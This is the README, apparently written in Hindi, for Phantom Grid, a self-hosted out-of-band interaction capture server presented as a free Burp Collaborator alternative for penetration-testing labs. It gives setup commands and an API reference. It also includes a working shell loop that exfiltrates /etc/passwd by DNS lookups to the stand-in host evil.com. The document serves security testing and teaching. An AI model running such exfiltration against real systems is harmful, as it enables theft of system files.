
Free Burp Collaborator विकल्प- SQLite और exfil पुनर्संयोजन के साथ OOB इंटरैक्शन कैप्चर (HTTP/HTTPS/DNS)
पेनिट्रेशन टेस्टिंग लैब्स के लिए मुफ़्त, ओपन-सोर्स Burp Collaborator विकल्प
आउट-ऑफ़-बैंड (OOB) इंटरैक्शन कैप्चर · HTTP/HTTPS · DNS · SQLite · एक्सफ़िल पुनर्संयोजन
Phantom Grid एक सेल्फ-होस्टेड OOB (आउट-ऑफ़-बैंड) इंटरैक्शन कैप्चर टूल है — पेनिट्रेशन टेस्टिंग लैब्स (PortSwigger Web Security Academy, HackTheBox, TryHackMe, आदि) को हल करने के लिए Burp Collaborator का एक मुफ़्त विकल्प।
| विशेषता | विवरण |
|---|---|
| HTTP + HTTPS कैप्चर | ऑटो-जनरेटेड सेल्फ-साइन्ड TLS सर्ट्स के साथ ड्यूअल-स्टैक |
| DNS कैप्चर | पोर्ट 53 पर अंतर्निहित DNS सर्वर |
| DNS एक्सफ़िल पुनर्संयोजन | मल्टी-पार्ट DNS एक्सफ़िल्ट्रेशन से स्वचालित चंक पुनर्संयोजन |
| SQLite पर्सिस्टेंस | सभी डेटा सर्वर रीस्टार्ट के बाद भी सुरक्षित रहता है (प्रदर्शन के लिए WAL मोड) |
| 40+ पेलोड टेम्पलेट्स | SSRF, XXE, SQLi OOB, CMDi, SSTI, DNS एक्सफ़िल — कॉपी करने के लिए तैयार |
| टैक्टिकल डैशबोर्ड | रीयल-टाइम मॉनिटरिंग के साथ कमांड सेंटर UI |
| Docker रेडी | एक-कमांड डिप्लॉयमेंट |
| REST API | पूर्ण टोकन/इंटरैक्शन/एक्सफ़िल प्रबंधन API |
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
pip install -r server/requirements.txt
# HTTP only
python server/server.py
# HTTP + HTTPS (auto-generates self-signed cert)
python server/server.py --https
# Full stack (requires sudo for DNS port 53)
sudo python server/server.py --https --dns
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
docker compose up -d
python server/server.py --https &
ngrok http 9090
# Use the ngrok HTTPS URL in your payloads
┌──────────────────────────────────────────────────────────────┐
│ PHANTOM GRID v2.0 │
│ │
│ ┌─────────────┐ ┌─────────────────────────────────┐ │
│ │ Dashboard │─API─▶│ Flask Server │ │
│ │ (React) │ │ │ │
│ └─────────────┘ │ :9090 HTTP capture + API │ │
│ │ :9443 HTTPS capture + API │ │
│ ┌─────────────┐ │ :53 DNS capture │ │
│ │ Target App │─────▶│ │ │
│ └─────────────┘ └──────────┬──────────────────────┘ │
│ │ │
│ ┌──────────▼──────────┐ │
│ │ SQLite Database │ │
│ │ phantom_grid.db │ │
│ │ │ │
│ │ tokens │ │
│ │ interactions │ │
│ │ dns_exfil_sessions │ │
│ │ dns_exfil_chunks │ │
│ └─────────────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘
आधुनिक ऐप्स अक्सर मिक्स्ड-कंटेंट रिक्वेस्ट (https:// पेजों से http://) को ब्लॉक कर देते हैं। Phantom Grid v2.0 HTTP के साथ-साथ HTTPS भी चलाता है।
python server/server.py --https
# Generates certs/server.pem + certs/server.key automatically
# HTTPS available at https://0.0.0.0:9443
python server/server.py --https \
--cert /etc/letsencrypt/live/yourdomain/fullchain.pem \
--key /etc/letsencrypt/live/yourdomain/privkey.pem
python server/server.py &
ngrok http 9090
# ngrok provides a trusted HTTPS URL automatically
Phantom Grid स्वचालित रूप से चंक्ड DNS एक्सफ़िल्ट्रेशन डेटा को पुनर्संयोजित करता है। यह बड़े पेलोड्स को निकालने के लिए महत्वपूर्ण है जिन्हें कई DNS लुकअप्स में विभाजित करना पड़ता है (लेबल 63 बाइट्स तक सीमित)।
| प्रारूप | उदाहरण | उपयोग का मामला |
|---|---|---|
| सरल | data.TOKEN.domain | एकल मान एक्सफ़िल |
| इंडेक्स्ड | 0.chunk1.TOKEN.domain | ऑटो-सेशन, क्रमबद्ध चंक्स |
| टैग्ड | sess1.0.chunk1.TOKEN.domain | क्रमबद्धता के साथ नामित सेशन |
| एंड सिग्नल | end.sess1.TOKEN.domain | सेशन पूर्ण के रूप में चिह्नित करें |
/etc/passwd एक्सफ़िल्ट्रेट करेंलक्ष्य पर:
# Split file into 50-byte base64 chunks and send via DNS
data=$(base64 /etc/passwd | tr -d '\n')
token="a1b2c3d4e5f6"
domain="evil.com"
i=0
while [ -n "$data" ]; do
chunk=$(echo "$data" | cut -c1-50)
data=$(echo "$data" | cut -c51-)
nslookup "exfil.$i.$chunk.$token.$domain" >/dev/null 2>&1
i=$((i+1))
done
nslookup "end.exfil.$token.$domain" >/dev/null 2>&1
पुनर्संयोजित डेटा देखें:
curl http://localhost:9090/api/tokens/a1b2c3d4e5f6/exfil
प्रतिक्रिया:
[{
"session_tag": "exfil",
"completed": 1,
"chunk_count": 12,
"reassembled": "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYm..."
}]
सभी डेटा phantom_grid.db में SQLite WAL मोड का उपयोग करके संग्रहीत किया जाता है, जो समवर्ती पढ़ने/लिखने के प्रदर्शन के लिए है।
phantom_grid.db
├── tokens — Token metadata
├── interactions — All HTTP/DNS captures
├── dns_exfil_sessions — Grouped exfil sessions
└── dns_exfil_chunks — Individual exfil data chunks
डेटा सर्वर रीस्टार्ट के बाद भी सुरक्षित रहता है। phantom_grid.db को कॉपी करके बैकअप लें।
| विधि | एंडपॉइंट | विवरण |
|---|---|---|
GET | /api/tokens | स्टैट्स के साथ सभी टोकन सूचीबद्ध करें |
POST | /api/tokens | टोकन बनाएँ {"label": "...", "notes": "..."} |
PATCH | /api/tokens/<id> | टोकन लेबल/नोट्स अपडेट करें |
DELETE | /api/tokens/<id> | टोकन + सभी डेटा हटाएँ (CASCADE) |
| विधि | एंडपॉइंट | विवरण |
|---|---|---|
GET | /api/tokens/<id>/interactions?limit=&offset= | टोकन इंटरैक्शन प्राप्त करें |
DELETE | /api/tokens/<id>/interactions | इंटरैक्शन साफ़ करें |
GET | /api/log?limit= | वैश्विक लॉग (सभी टोकन) |
GET | /api/poll?since=<ISO> | नए इंटरैक्शन पोल करें |
| विधि | एंडपॉइंट | विवरण |
|---|---|---|
GET | /api/tokens/<id>/exfil | पुनर्संयोजित डेटा के साथ एक्सफ़िल सेशन प्राप्त करें |
| विधि | एंडपॉइंट | विवरण |
|---|---|---|
GET | /api/stats | वैश्विक स्टैट्स (गणना, DB आकार) |
GET | /health | हेल्थ चेक |
| प्रोटोकॉल | एंडपॉइंट |
|---|---|
| HTTP | http://server:9090/c/<TOKEN> |
| HTTPS | https://server:9443/c/<TOKEN> |
| DNS | <TOKEN>.yourdomain.com |
| DNS एक्सफ़िल | <data>.<TOKEN>.yourdomain.com |
python server.py [OPTIONS]